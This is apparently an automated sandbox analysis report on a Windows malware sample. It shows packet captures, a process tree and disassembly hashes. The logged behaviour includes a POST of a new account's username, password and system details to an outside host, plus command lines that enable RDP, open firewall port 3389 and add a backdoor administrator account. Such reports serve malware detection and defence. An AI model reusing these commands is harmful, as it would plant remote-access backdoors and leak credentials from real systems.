Oct 3, 2024 15:07:05.876871109 CEST	1236	IN	Data Raw: ff ff c6 05 34 7a 44 00 00 5b c3 56 57 8d 3c cd c4 7a 44 00 8b 77 04 8b 46 04 89 47 04 89 38 39 c7 75 17 b8 fe ff ff ff d3 c0 21 04 95 44 7a 44 00 75 07 0f b3 15 40 7a 44 00 bf f0 ff ff ff 23 7e fc 89 fa 29 da 74 1f 8d 04 33 8d 4a 03 89 48 fc 89 Data Ascii: 4zD[VW<zDwFG89u!DzDu@zD#~)t3JHT0rd7KN4zD_^[[+1PSMpDuajBt,J@At1[KZJQS1[tBJHA19Su
Oct 3, 2024 15:07:05.876878977 CEST	1236	IN	Data Raw: 0f f4 ff ff 5a 59 89 c8 c1 e8 02 01 c8 31 ff 29 d0 83 d7 ff 21 f8 8d 84 02 d3 00 00 00 25 00 ff ff ff 83 c0 30 8d 55 04 29 c2 77 0b 83 24 2e f7 83 c5 04 eb 1e 90 90 89 54 2e fc 8d 7a 03 89 7c 30 fc 89 c5 81 fa 30 0b 00 00 72 07 01 f0 e8 00 f4 ff Data Ascii: ZY1)!%0U)w$.T.z\|00rn4zD]_^[4zD1)!RZt,vP]_^[^[%1SX`,sx
Oct 3, 2024 15:07:05.881541967 CEST	372	IN	Data Raw: dc 9a 44 00 00 5b c3 53 56 57 8b f0 bf d8 9a 44 00 33 db 83 3f 00 74 3f e8 36 ff ff ff 84 c0 74 36 8b 07 8b 10 4a 85 d2 7c 26 42 33 c0 8b 0f 3b 74 81 04 75 17 8b 17 8b 12 8b 0f 8b 14 91 8b 0f 89 54 81 04 8b 17 ff 0a b3 01 eb 04 40 4a 75 dd c6 05 Data Ascii: D[SVWD3?t?6t6J\|&B3;tuT@JuD_^[USVWEExPDUHMUEsEXEWHEG3E_ExE@EE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	104.26.12.205	80	6980	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 15:07:46.153867006 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 15:07:46.629789114 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 13:07:46 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8ccd2838199e178c-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 15:07:46.641474009 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 15:07:46.756611109 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 13:07:46 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8ccd2838da2e178c-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49715	188.114.97.3	443	6980	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 13:07:47 UTC	171	OUT	POST /core/receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: hansgborn.eu Content-Length: 186 Expect: 100-continue Connection: Keep-Alive
2024-10-03 13:07:47 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 13:07:47 UTC	186	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 75 73 65 72 3d 42 6f 79 64 4b 72 61 6a 63 69 6b 26 70 61 73 73 77 6f 72 64 3d 68 44 4e 51 68 66 6a 4b 4d 39 53 30 26 6f 73 5f 6e 61 6d 65 3d 57 69 6e 64 6f 77 73 2b 31 30 2b 50 72 6f 26 70 72 6f 63 65 73 73 6f 72 3d 49 6e 74 65 6c 28 52 29 2b 43 6f 72 65 28 54 4d 29 32 2b 43 50 55 2b 36 36 30 30 2b 25 34 30 2b 32 2e 34 30 2b 47 48 7a 26 63 6f 72 65 73 3d 34 26 67 70 75 3d 4e 57 48 4e 36 59 26 67 70 75 5f 6d 65 6d 6f 72 79 3d 31 30 32 34 26 72 61 6d 3d 34 30 39 35 26 64 69 73 6b 5f 73 70 61 63 65 3d 33 38 33 Data Ascii: ip=8.46.123.33&user=BoydKrajcik&password=hDNQhfjKM9S0&os_name=Windows+10+Pro&processor=Intel(R)+Core(TM)2+CPU+6600+%40+2.40+GHz&cores=4&gpu=NWHN6Y&gpu_memory=1024&ram=4095&disk_space=383
2024-10-03 13:07:47 UTC	599	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 13:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kZk7cyT4V3aBHsugbrWVJYdOywenZ6b1SwUK062dt8u49KP0ylWqukuWFt7N%2BZZBbkAEP6kw4e2hy3zd4xj1PYrdIBY5G6yNRFD8eq8EkOe%2BUhfNLnWv9yt8XxmMYVs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccd283d8fec431f-EWR 0

Target ID:	0
Start time:	09:07:00
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc60000
File size:	2'066'432 bytes
MD5 hash:	EA2954E7FC00520A5300E72EDEA11B0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2499189931.0000000000C62000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2500984157.00000000032D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000000.2026603249.0000000000D4A000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:07:07
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:07:07
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:07:07
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f
Imagebase:	0x390000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:07:07
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:07:07
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:07:07
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f
Imagebase:	0x390000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:07:07
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:07:07
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:07:07
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Imagebase:	0x400000
File size:	1'785'344 bytes
MD5 hash:	C213162C86BB943BCDF91B3DF381D2F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000A.00000000.2104981738.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:07:10
Start date:	03/10/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Imagebase:	0x7ff6cabf0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:07:10
Start date:	03/10/2024
Path:	C:\Windows\System32\drivers\rdpvideominiport.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	32'600 bytes
MD5 hash:	77FF15B9237D62A5CBC6C80E5B20A492
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:07:10
Start date:	03/10/2024
Path:	C:\Windows\System32\drivers\rdpdr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	169'984 bytes
MD5 hash:	64991B36F0BD38026F7589572C98E3D6
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	09:07:10
Start date:	03/10/2024
Path:	C:\Windows\System32\drivers\tsusbhub.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	137'728 bytes
MD5 hash:	CC6D4A26254EB72C93AC848ECFCFB4AF
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net user BoydKrajcik hDNQhfjKM9S0 /add
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net user BoydKrajcik hDNQhfjKM9S0 /add
Imagebase:	0x310000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 user BoydKrajcik hDNQhfjKM9S0 /add
Imagebase:	0xcb0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup
Imagebase:	0x310000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup
Imagebase:	0xcb0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup "Remote Desktop Users" BoydKrajcik /add
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup "Remote Desktop Users" BoydKrajcik /add
Imagebase:	0x310000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:07:41
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup "Remote Desktop Users" BoydKrajcik /add
Imagebase:	0xcb0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:07:42
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:07:42
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:07:42
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:07:42
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup "Administrators" BoydKrajcik /add
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	09:07:42
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:07:42
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup "Administrators" BoydKrajcik /add
Imagebase:	0x310000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:07:42
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup "Administrators" BoydKrajcik /add
Imagebase:	0xcb0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 0159106A Relevance: 17.4, Strings: 8, Instructions: 7433COMMON

Download Yara Rule

Strings

%<l, xrefs: 0159245A
)>o, xrefs: 01592878
elapaz, xrefs: 015975B2
> 2, xrefs: 015938F4
4T++, xrefs: 0159361F
K0b, xrefs: 01593586
2K, xrefs: 01594489
0=2q, xrefs: 0159133B

Memory Dump Source

Source File: 00000000.00000002.2500228720.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1590000_file.jbxd

Similarity

API ID:
String ID: K0b$%<l$)>o$0=2q$2K$4T++$> 2$elapaz
API String ID: 0-652127122
Opcode ID: 976b3553de79ebef218927b06e694989cb0984f203af96764b5ac6c5e24ba7da
Instruction ID: 4890badf4f90526a5da66c96dbb21a45c1caa9d91a29ace1876babb7d94c071d
Opcode Fuzzy Hash: 976b3553de79ebef218927b06e694989cb0984f203af96764b5ac6c5e24ba7da
Instruction Fuzzy Hash: 2AE33E76F1023A8FCB64DF68C840A9DB7F6BB89210F5149A9D809FB350DA35AD41CF91

Function 01591098 Relevance: 17.4, Strings: 8, Instructions: 7390COMMON

Download Yara Rule

Strings

%<l, xrefs: 0159245A
)>o, xrefs: 01592878
elapaz, xrefs: 015975B2
> 2, xrefs: 015938F4
4T++, xrefs: 0159361F
K0b, xrefs: 01593586
2K, xrefs: 01594489
0=2q, xrefs: 0159133B

Memory Dump Source

Source File: 00000000.00000002.2500228720.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1590000_file.jbxd

Similarity

API ID:
String ID: K0b$%<l$)>o$0=2q$2K$4T++$> 2$elapaz
API String ID: 0-652127122
Opcode ID: 9e48a8ba2223165a49d92174047c877e20bdab4e71834d30091801b509e72800
Instruction ID: 02ec7efeed4678772363894ca242ecebafa944bb8bf28dc6bb3105ac14a7f0e3
Opcode Fuzzy Hash: 9e48a8ba2223165a49d92174047c877e20bdab4e71834d30091801b509e72800
Instruction Fuzzy Hash: E9E32E76F1023A8FCB64DF68C840A9DB3F6BB89210F5149A9D819FB350DA35AD41CF91

Function 05760040 Relevance: 9.3, Strings: 6, Instructions: 1838COMMON

Download Yara Rule

Strings

Haq, xrefs: 05761D71
paq, xrefs: 05760C32
paq, xrefs: 05761487
5n2@, xrefs: 05761C61
(o]q, xrefs: 05761DBD
3`", xrefs: 057618E3

Memory Dump Source

Source File: 00000000.00000002.2503709736.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5760000_file.jbxd

Similarity

API ID:
String ID: (o]q$3`"$5n2@$Haq$paq$paq
API String ID: 0-2055711424
Opcode ID: 32c08f428c544bf50313b96312a45a8b2f6c3c611f41c56d132bbdc2d5facfc1
Instruction ID: dbce9e156de8e73b41761598cfe88b45922eaed7964b31a1153e0cdce5ae265e
Opcode Fuzzy Hash: 32c08f428c544bf50313b96312a45a8b2f6c3c611f41c56d132bbdc2d5facfc1
Instruction Fuzzy Hash: C4031C75E04219CFEB64CFB8C888A9DBBB2BF49310F65419DD509AB262DB349D81DF40

Function 01598EC0 Relevance: 2.6, Strings: 2, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

?04, xrefs: 0159900D
>v!8, xrefs: 01598F03

Memory Dump Source

Source File: 00000000.00000002.2500228720.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1590000_file.jbxd

Similarity

API ID:
String ID: >v!8$?04
API String ID: 0-995226417
Opcode ID: 37a0c3390c56f0a41c4c4e42a5607d1fae1965db20a2635289a682b3712735fd
Instruction ID: 656270350026de2d4315c649a67d0a2daa66500ddb34601e08b0a0cd4c0b3157
Opcode Fuzzy Hash: 37a0c3390c56f0a41c4c4e42a5607d1fae1965db20a2635289a682b3712735fd
Instruction Fuzzy Hash: D8414633E142254FD714CB6DCC544EABBF2AB9922070B826AEC54FB365D2308D05CBD1

Function 01598EE8 Relevance: 2.6, Strings: 2, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

?04, xrefs: 0159900D
>v!8, xrefs: 01598F03

Memory Dump Source

Source File: 00000000.00000002.2500228720.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1590000_file.jbxd

Similarity

API ID:
String ID: >v!8$?04
API String ID: 0-995226417
Opcode ID: 3aa45314dd0765ace80a24ed2de9afc2e1f6193a20cb481ef30003666d3d8b19
Instruction ID: c092f2e5376afe73962b07a063fcf28e1978df31295085bea319dc70762526ca
Opcode Fuzzy Hash: 3aa45314dd0765ace80a24ed2de9afc2e1f6193a20cb481ef30003666d3d8b19
Instruction Fuzzy Hash: 5A31E133F101398FD714CBADC8545AABBF2AB9825071B8269EC19FB354E6709D09CBD0

Function 05767860 Relevance: 2.0, Strings: 1, Instructions: 718
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 0576789A

Memory Dump Source

Source File: 00000000.00000002.2503709736.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5760000_file.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 881afae0f5d483ec9f8a3a538203268f4a153a5e45796a6710aea4b142af8fd6
Instruction ID: dc8271a5919b8ea1cab57d18141c53e3c9c2b62c09aaba5cf70e1bfe85327375
Opcode Fuzzy Hash: 881afae0f5d483ec9f8a3a538203268f4a153a5e45796a6710aea4b142af8fd6
Instruction Fuzzy Hash: ED627971A00606DFC718CF68C4849AEBBF2FF88314B258A69D846AB655D734FD46CF90

Function 01599850 Relevance: 1.7, Strings: 1, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#!, xrefs: 01599B57

Memory Dump Source

Source File: 00000000.00000002.2500228720.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1590000_file.jbxd

Similarity

API ID:
String ID: #!
API String ID: 0-2286232487
Opcode ID: 1d9553c79a65c0ec37434c4e5918e10a0343bfc1e6f169b8671e99188f578268
Instruction ID: c35d1fa46bc4444722e8c06c23e09e99ae0b00c5d861dfe037183005d6565b9e
Opcode Fuzzy Hash: 1d9553c79a65c0ec37434c4e5918e10a0343bfc1e6f169b8671e99188f578268
Instruction Fuzzy Hash: D602CF72B103168FCB14DFA8C8C06ADBBB6BF89314B55816ED505EF361DA749C05CB92

Function 0159C048 Relevance: 1.7, Strings: 1, Instructions: 438
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A<<, xrefs: 0159C589

Memory Dump Source

Source File: 00000000.00000002.2500228720.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1590000_file.jbxd

Similarity

API ID:
String ID: A<<
API String ID: 0-2897384109
